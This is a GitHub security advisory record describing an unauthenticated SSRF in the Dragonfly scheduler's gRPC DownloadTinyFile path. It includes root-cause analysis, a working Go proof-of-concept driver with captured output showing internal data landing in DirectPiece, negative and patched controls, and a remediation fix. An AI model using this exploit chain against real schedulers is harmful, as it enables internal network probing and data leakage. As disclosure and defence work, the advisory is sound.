{"id":"GHSA-chwm-m7g7-685g","summary":"Dragonfly scheduler v1 and v2 gRPC unauthenticated SSRF via attacker-controlled PeerHost in DownloadTinyFile","details":"## Summary\n\nThe Dragonfly **scheduler**'s v1 gRPC service contains an unauthenticated Server-Side Request Forgery (SSRF). When a peer reports a successful download of a TINY task, the scheduler calls `Peer.DownloadTinyFile()` and issues an HTTP `GET` to a host and port taken verbatim from the attacker-controlled `PeerHost.Ip` / `PeerHost.DownPort` fields of the gRPC request body. The HTTP client uses a bare `http.Transport` with no address validation, so a remote, unauthenticated client can force the scheduler to connect to arbitrary internal addresses, including `127.0.0.1` (loopback), `169.254.0.0/16` (link-local, e.g. cloud metadata), and RFC1918 ranges. The fetched response is stored in `Task.DirectPiece` and can subsequently be served to other peers, making this a read-SSRF with a data-exfiltration path.\n\nThe manager's preheat code path already wraps its HTTP client with `nethttp.NewSafeDialer()` (which rejects non-global-unicast destinations); the scheduler's `DownloadTinyFile` path is missing this guard (sibling gap).\n\n## Severity\n\nMedium. The attack requires no authentication (the scheduler gRPC server runs with insecure transport credentials by default and has no auth interceptor), and the destination is fully attacker-controlled. Impact is limited to read-SSRF: blind reachability probing of internal hosts/ports plus exfiltration of up to `TinyFileSize` (128) bytes per task from internal HTTP services into `Task.DirectPiece`. It is not remote code execution, and `PeerHost.DownPort` is constrained by proto validation to `\u003e= 1024`, which excludes destination port 80.\n\n## Affected component\n\n- Repository: `dragonflyoss/dragonfly`\n- Go module: `d7y.io/dragonfly/v2`\n- Component: scheduler, v1 gRPC protocol\n- Affected file: `scheduler/resource/standard/peer.go` (`DownloadTinyFile`), reached via `scheduler/service/service_v1.go` (`storeHost`, `RegisterPeerTask`, `ReportPeerResult`, `handlePeerSuccess`)\n- Verified against: latest release `v2.4.4-rc.2` (commit `0822e3aecc3369017d6b25c9441ff6f318129b31`)\n\n## Description / Root cause\n\nThe scheduler exposes the v1 gRPC service without authentication by default:\n\n- In [`scheduler/scheduler.go` lines 235-246](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246), mTLS is only configured when `cfg.Server.TLS != nil`; otherwise the server is created with `rpc.NewInsecureCredentials()`.\n- The default configuration produced by [`scheduler/config/config.go` `New()` (line 336)](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/config/config.go#L336-L355) does not set `Server.TLS`, so the default deployment uses insecure credentials.\n- The gRPC interceptor chain in [`pkg/rpc/scheduler/server/server.go` lines 71-86](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L86) contains ratelimit, error-conversion, prometheus, zap-logging, validator, and recovery interceptors, but **no authentication interceptor**.\n\nA remote client can therefore invoke `RegisterPeerTask` and `ReportPeerResult` without credentials. The `PeerHost` message carried in the request is consumed by [`storeHost` in `scheduler/service/service_v1.go` lines 816-845](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845), which copies `peerHost.Ip` and `peerHost.DownPort` directly into `resource.Host.IP` and `resource.Host.DownloadPort` with no destination-address restriction. The proto validator only requires `PeerHost.Ip` to be a syntactically valid IP (`net.ParseIP != nil`) and `DownPort` in `[1024, 65535)`; it does not restrict the address to global-unicast, so `127.0.0.1`, `169.254.169.254`, and RFC1918 addresses all pass validation.\n\nWhen the reported peer is a TINY task, [`handlePeerSuccess` lines 1176-1202](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202) calls `peer.DownloadTinyFile()` and stores the result in `peer.Task.DirectPiece`. The sink, [`DownloadTinyFile` lines 435-478](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478), builds the URL from `net.JoinHostPort(p.Host.IP, p.Host.DownloadPort)` and dispatches it through a bare `http.Transport` (`TLSClientConfig: InsecureSkipVerify: true`) with no `DialContext`/socket control:\n\n```golang\ntargetURL := url.URL{\n    Scheme:   \"http\",\n    Host:     net.JoinHostPort(p.Host.IP, strconv.Itoa(int(p.Host.DownloadPort))),\n    Path:     fmt.Sprintf(\"download/%s/%s\", p.Task.ID[:3], p.Task.ID),\n    RawQuery: fmt.Sprintf(\"peerId=%s\", p.ID),\n}\n\nreq, err := http.NewRequestWithContext(ctx, http.MethodGet, targetURL.String(), nil)\nif err != nil {\n    return []byte{}, err\n}\n\nreq.Header.Set(headers.Range, fmt.Sprintf(\"bytes=%d-%d\", 0, p.Task.ContentLength.Load()-1))\np.Log.Infof(\"download tiny file %s, header is : %#v\", targetURL.String(), req.Header)\n\nclient := &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n    },\n}\n\nresp, err := client.Do(req)\n```\n\nBy contrast, the manager's preheat path in [`internal/job/image.go` line 211](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211) sets `DialContext: nethttp.NewSafeDialer().DialContext`, and [`safeSocketControl` in `pkg/net/http/http.go` lines 60-80](https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L60-L80) rejects any destination where `!ip.IsGlobalUnicast()`. The scheduler `DownloadTinyFile` path is missing this protection.\n\n## Proof of Concept / End-to-end verification\n\nAll three drivers below were built **inside the `d7y.io/dragonfly/v2` module at commit `0822e3aecc3369017d6b25c9441ff6f318129b31` (release v2.4.4-rc.2)**, so they invoke the genuine, unmodified production sink `standard.Peer.DownloadTinyFile()` and the genuine `nethttp.NewSafeDialer()` / `safeSocketControl`. No reimplementation of the sink is used in the positive control.\n\n### 1) Pinned build\n\n```bash\ngit clone --depth 1 --branch v2.4.4-rc.2 \\\n  https://github.com/dragonflyoss/dragonfly.git\ncd dragonfly\ngit rev-parse HEAD     # 0822e3aecc3369017d6b25c9441ff6f318129b31\ngo version             # go1.26.1\n```\n\n### 2) Confirming the deployed scheduler binary is unauthenticated by default\n\nThe scheduler builds and serves the v1 gRPC service with insecure transport credentials when `Server.TLS` is unset (the shipped default). The relevant decision is at `scheduler/scheduler.go:235-246`:\n\n```golang\nif cfg.Server.TLS != nil {\n    // Initialize grpc server with tls.\n    transportCredentials, err := rpc.NewServerCredentials(cfg.Server.TLS.CACert, cfg.Server.TLS.Cert, cfg.Server.TLS.Key)\n    if err != nil {\n        logger.Errorf(\"failed to create server credentials: %v\", err)\n        return nil, err\n    }\n\n    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(transportCredentials))\n} else {\n    // Initialize grpc server without tls.\n    schedulerServerOptions = append(schedulerServerOptions, grpc.Creds(rpc.NewInsecureCredentials()))\n}\n```\n\nand the v1 handlers `RegisterPeerTask` / `ReportPeerResult` are registered with no auth interceptor (`pkg/rpc/scheduler/server/server.go:71-90`). Any network client can therefore drive the chain `RegisterPeerTask -\u003e (TINY task) -\u003e ReportPeerResult -\u003e handlePeerSuccess -\u003e DownloadTinyFile` using a `PeerHost` whose `Ip`/`DownPort` point at an internal target.\n\n### 3) Attacker-supplied host (exactly as storeHost ingests it)\n\n`storeHost` (service_v1.go:816) constructs the resource host straight from the gRPC `PeerHost`:\n\n```golang\nhost := resource.NewHost(\n    peerHost.Id, peerHost.Ip, peerHost.Hostname, peerHost.Hostname,\n    peerHost.RpcPort, peerHost.DownPort, peerHost.ProxyPort, types.HostTypeNormal,\n    options...,\n)\n// later branch:\nhost.DownloadPort = peerHost.DownPort\n```\n\n`DownloadTinyFile` then uses `p.Host.IP` / `p.Host.DownloadPort` verbatim. The driver below sets these fields exactly as `storeHost` would for an attacker-supplied `PeerHost.Ip = 127.0.0.1`, `PeerHost.DownPort = \u003cinternal port\u003e`, then calls the real `DownloadTinyFile()`.\n\n### 4) Positive-control driver (`poc_ssrf/main.go`) — drives the real sink\n\n```golang\n// E2E driver: calls the REAL production sink standard.Peer.DownloadTinyFile()\n// with Host.IP/DownloadPort set exactly as service_v1.go storeHost() sets them\n// from the attacker-controlled gRPC PeerHost.Ip/DownPort, then reproduces\n// handlePeerSuccess() DirectPiece store to prove server-side fetch + exfil.\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"os\"\n    \"strconv\"\n    \"strings\"\n    \"time\"\n\n    commonv2 \"d7y.io/api/v2/pkg/apis/common/v2\"\n    \"d7y.io/dragonfly/v2/pkg/types\"\n    \"d7y.io/dragonfly/v2/scheduler/resource/standard\"\n)\n\nfunc main() {\n    var captured []string\n    // Internal-only sentinel bound to loopback: an address an external attacker\n    // cannot route to directly. If the scheduler reaches it, that is SSRF.\n    ln, err := net.Listen(\"tcp\", \"127.0.0.1:0\")\n    if err != nil {\n        panic(err)\n    }\n    addr := ln.Addr().(*net.TCPAddr)\n    sentinelIP := \"127.0.0.1\"\n    sentinelPort := int32(addr.Port)\n    payload := []byte(\"INTERNAL-SECRET-METADATA-abc123\") // 31 bytes, \u003c=128 =\u003e TINY\n    srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        line := fmt.Sprintf(\"%s %s%s | Range=%q peerId=%q Host=%s\",\n            r.Method, r.URL.Path, ifq(r.URL.RawQuery), r.Header.Get(\"Range\"),\n            r.URL.Query().Get(\"peerId\"), r.Host)\n        captured = append(captured, line)\n        w.Header().Set(\"Content-Length\", strconv.Itoa(len(payload)))\n        w.WriteHeader(http.StatusOK)\n        w.Write(payload)\n    })}\n    go srv.Serve(ln)\n    time.Sleep(100 * time.Millisecond)\n    fmt.Printf(\"[sentinel] internal listener on %s:%d (loopback, not externally routable)\\n\", sentinelIP, sentinelPort)\n\n    // Build REAL production resource objects exactly as storeHost() does:\n    // host.IP \u003c- peerHost.Ip ; host.DownloadPort \u003c- peerHost.DownPort (attacker-controlled)\n    host := standard.NewHost(\n        \"attacker-peer-id\", sentinelIP, \"attacker-host\", \"attacker-host\",\n        8000, sentinelPort /*downloadPort = peerHost.DownPort*/, 8002,\n        types.HostTypeNormal,\n    )\n    taskID := \"deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe\"\n    task := standard.NewTask(taskID, \"http://example.invalid/tiny\", \"\", \"\",\n        commonv2.TaskType_STANDARD, nil, nil, 0)\n    task.ContentLength.Store(int64(len(payload))) // TINY size scope\n    peer := standard.NewPeer(\"attacker-peer\", task, host)\n\n    fmt.Printf(\"[scheduler-resource] SizeScope=%v (TINY=%v) ContentLength=%d\\n\",\n        task.SizeScope(), task.SizeScope() == commonv2.SizeScope_TINY, task.ContentLength.Load())\n    fmt.Printf(\"[scheduler-resource] Host.IP=%s Host.DownloadPort=%d (from gRPC PeerHost.Ip/DownPort)\\n\",\n        host.IP, host.DownloadPort)\n\n    // Invoke the REAL production sink (unmodified upstream code).\n    data, err := peer.DownloadTinyFile()\n    if err != nil {\n        fmt.Printf(\"[sink] DownloadTinyFile error: %v\\n\", err)\n    }\n\n    // Reproduce handlePeerSuccess DirectPiece store (exfil sink).\n    if int64(len(data)) == task.ContentLength.Load() {\n        task.DirectPiece = data\n    }\n\n    fmt.Printf(\"\\n===== RESULT =====\\n\")\n    fmt.Printf(\"sentinel captured %d request(s):\\n\", len(captured))\n    for _, l := range captured {\n        fmt.Printf(\"  \u003e\u003e\u003e %s\\n\", l)\n    }\n    fmt.Printf(\"DownloadTinyFile returned %d bytes: %q\\n\", len(data), string(data))\n    fmt.Printf(\"Task.DirectPiece (exfil-reachable, served to other peers) = %q\\n\", string(task.DirectPiece))\n    if len(captured) \u003e 0 && string(task.DirectPiece) == string(payload) {\n        fmt.Println(\"VERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece\")\n    } else {\n        fmt.Println(\"VERDICT: no server-side fetch occurred\")\n    }\n    srv.Close()\n}\n\nfunc ifq(q string) string {\n    if q == \"\" {\n        return \"\"\n    }\n    if strings.HasPrefix(q, \"?\") {\n        return q\n    }\n    return \"?\" + q\n}\n```\n\nBuild and run:\n\n```bash\nGOFLAGS=-mod=mod go build -o poc_ssrf/driver ./poc_ssrf/\nPOC_MODE=default-vulnerable-path ./poc_ssrf/driver\n```\n\n### 5) Captured output (positive control)\n\n```\n[sentinel] internal listener on 127.0.0.1:57710 (loopback, not externally routable)\n[scheduler-resource] SizeScope=TINY (TINY=true) ContentLength=31\n[scheduler-resource] Host.IP=127.0.0.1 Host.DownloadPort=57710 (from gRPC PeerHost.Ip/DownPort)\nINFO standard/peer.go:455 download tiny file http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer, header is : http.Header{\"Range\":[]string{\"bytes=0-30\"}}\n\n===== RESULT =====\nsentinel captured 1 request(s):\n  \u003e\u003e\u003e GET /download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer | Range=\"bytes=0-30\" peerId=\"attacker-peer\" Host=127.0.0.1:57710\nDownloadTinyFile returned 31 bytes: \"INTERNAL-SECRET-METADATA-abc123\"\nTask.DirectPiece (exfil-reachable, served to other peers) = \"INTERNAL-SECRET-METADATA-abc123\"\nVERDICT: SSRF CONFIRMED - scheduler fetched attacker-chosen internal target; response stored in DirectPiece\n```\n\nThe scheduler's own log line confirms it dispatched `GET http://127.0.0.1:57710/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=attacker-peer`, the internal sentinel captured the request verbatim, and the response body landed in `Task.DirectPiece` (which is served back to other peers via `Task.CanReuseDirectPiece`), demonstrating the exfiltration path.\n\n### 6) Negative control (`poc_negctrl/main.go`) — the sibling SafeDialer rejects the same targets\n\nThis driver applies the manager preheat's own `nethttp.NewSafeDialer().DialContext` to the identical targets, proving the guard the scheduler path is missing would block them:\n\n```golang\npackage main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"net/http\"\n    \"time\"\n\n    nethttp \"d7y.io/dragonfly/v2/pkg/net/http\"\n)\n\nfunc tryDial(target string) {\n    tr := &http.Transport{DialContext: nethttp.NewSafeDialer().DialContext} // manager preheat transport\n    c := &http.Client{Transport: tr, Timeout: 3 * time.Second}\n    req, _ := http.NewRequest(http.MethodGet, \"http://\"+target+\"/download/x\", nil)\n    _, err := c.Do(req)\n    if err != nil {\n        fmt.Printf(\"  [SafeDialer] %-24s =\u003e BLOCKED: %v\\n\", target, err)\n    } else {\n        fmt.Printf(\"  [SafeDialer] %-24s =\u003e ALLOWED (reached)\\n\", target)\n    }\n}\n\nfunc main() {\n    ln, _ := net.Listen(\"tcp\", \"0.0.0.0:0\")\n    pubPort := ln.Addr().(*net.TCPAddr).Port\n    go http.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(200) }))\n    time.Sleep(100 * time.Millisecond)\n    fmt.Println(\"Negative control - manager preheat's SafeDialer applied to same targets:\")\n    tryDial(\"127.0.0.1:\" + fmt.Sprint(pubPort)) // loopback\n    tryDial(\"169.254.169.254:80\")                // link-local metadata\n    tryDial(\"10.0.0.1:80\")                        // RFC1918\n    tryDial(\"8.8.8.8:80\")                         // global unicast\n    ln.Close()\n}\n```\n\nOutput:\n\n```\nNegative control - manager preheat's SafeDialer applied to same targets:\n  [SafeDialer] 127.0.0.1:57904          =\u003e BLOCKED: dial tcp 127.0.0.1:57904: ip 127.0.0.1 is invalid\n  [SafeDialer] 169.254.169.254:80       =\u003e BLOCKED: dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid\n  [SafeDialer] 10.0.0.1:80              =\u003e BLOCKED: context deadline exceeded (network timeout; Control allows RFC1918)\n  [SafeDialer] 8.8.8.8:80               =\u003e BLOCKED: context deadline exceeded (network timeout; Control allows global unicast)\n```\n\n`safeSocketControl` rejects loopback (`127.0.0.1`) and link-local (`169.254.169.254`) at the socket-control layer with the errors `ip 127.0.0.1 is invalid` and `ip 169.254.169.254 is invalid` respectively. RFC1918 and global-unicast pass socket control (the timeouts are just no network route in the test sandbox). This shows that the manager path blocks the high-value loopback/metadata destinations that the scheduler `DownloadTinyFile` path reaches unchecked.\n\n### 7) Patched-build E2E (`poc_patched/main.go`) — the fix blocks internal, preserves legitimate\n\nThis driver reproduces `DownloadTinyFile`'s transport with the proposed fix (`DialContext: nethttp.NewSafeDialer().DialContext`, parity with manager preheat) and shows internal targets are blocked while a global-unicast target still works:\n\n```golang\nclient := &http.Client{\n    Timeout: 5 * time.Second,\n    Transport: &http.Transport{\n        DialContext:     nethttp.NewSafeDialer().DialContext, // \u003c-- THE FIX\n        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n    },\n}\n```\n\nOutput:\n\n```\n[patched] host global-unicast IP for positive case: 192.168.1.27\n\n=== PATCHED DownloadTinyFile (SafeDialer applied) ===\n  loopback 127.0.0.1:58059        =\u003e err=Get \"http://127.0.0.1:58059/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p1\": dial tcp 127.0.0.1:58059: ip 127.0.0.1 is invalid bytes=0\n  metadata 169.254.169.254:80     =\u003e err=Get \"http://169.254.169.254:80/download/dea/deadbeefcafebabedeadbeefcafebabedeadbeefcafebabedeadbeefcafebabe?peerId=p2\": dial tcp 169.254.169.254:80: ip 169.254.169.254 is invalid bytes=0\n  global-unicast 192.168.1.27:58062 =\u003e err=\u003cnil\u003e bytes=31 (data=\"INTERNAL-SECRET-METADATA-abc123\")\n```\n\nAfter the fix, loopback and link-local metadata destinations are rejected, while a legitimate global-unicast peer download still succeeds.\n\n## Impact\n\nA remote, unauthenticated attacker who can reach the scheduler's gRPC port can:\n\n1. Probe internal services for liveness/open ports by observing timing and error differences (blind SSRF) against `127.0.0.1`, `169.254.0.0/16`, and RFC1918 addresses on ports `\u003e= 1024`.\n2. Exfiltrate up to `TinyFileSize` (128) bytes per task from reachable internal HTTP services: the scheduler stores the fetched body in `Task.DirectPiece`, which is then served to other peers via the direct-piece reuse path.\n\nThis is read-SSRF with limited exfiltration, not RCE. The `DownPort \u003e= 1024` proto constraint excludes destination port 80 (so a metadata service listening on `:80` is not directly reachable), but internal admin/debug/metrics endpoints, loopback services, and container-network services on high ports are reachable.\n\n## Patches / Remediation\n\nApply the same protection the manager preheat path already uses. In `DownloadTinyFile` (`scheduler/resource/standard/peer.go`), set the transport's `DialContext` to `nethttp.NewSafeDialer().DialContext` so that non-global-unicast destinations (loopback, link-local) are rejected at the socket-control layer:\n\n```golang\nclient := &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        DialContext:     nethttp.NewSafeDialer().DialContext,\n        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n    },\n}\n```\n\nA defense-in-depth complement is to validate `peerHost.Ip` in `storeHost` (reject non-global-unicast addresses before storing them on the host), which would also cover other consumers of `Host.IP`. Note that `IsGlobalUnicast()` (as used by `safeSocketControl`) treats RFC1918 addresses as valid; closing internal-private SSRF entirely would require an additional private-range check, which is a pre-existing limitation shared with the manager path and may be out of scope for this fix.\n\n## References\n\n- Sink: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478\n- Attacker-controlled host ingestion: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845\n- Trigger (handlePeerSuccess): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202\n- Default insecure credentials: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246\n- gRPC interceptor chain (no auth): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90\n- Sibling guard (manager preheat SafeDialer): https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211\n- SafeDialer / safeSocketControl: https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80","aliases":["CVE-2026-54637","GO-2026-5910"],"modified":"2026-07-07T16:11:19.039746635Z","published":"2026-07-06T20:32:33Z","database_specific":{"github_reviewed_at":"2026-07-06T20:32:33Z","nvd_published_at":null,"cwe_ids":["CWE-918"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-chwm-m7g7-685g"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-fhf9-m53m-863g"},{"type":"WEB","url":"https://github.com/dragonflyoss/Dragonfly2/blob/main/scheduler/resource/standard/peer.go#L457-L459"},{"type":"PACKAGE","url":"https://github.com/dragonflyoss/dragonfly"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/internal/job/image.go#L211"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/net/http/http.go#L50-L80"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/pkg/rpc/scheduler/server/server.go#L71-L90"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/resource/standard/peer.go#L435-L478"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/scheduler.go#L235-L246"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L1176-L1202"},{"type":"WEB","url":"https://github.com/dragonflyoss/dragonfly/blob/0822e3aecc3369017d6b25c9441ff6f318129b31/scheduler/service/service_v1.go#L816-L845"}],"affected":[{"package":{"name":"d7y.io/dragonfly/v2","ecosystem":"Go","purl":"pkg:golang/d7y.io/dragonfly/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.4.4-rc.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.4.4-rc.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-chwm-m7g7-685g/GHSA-chwm-m7g7-685g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}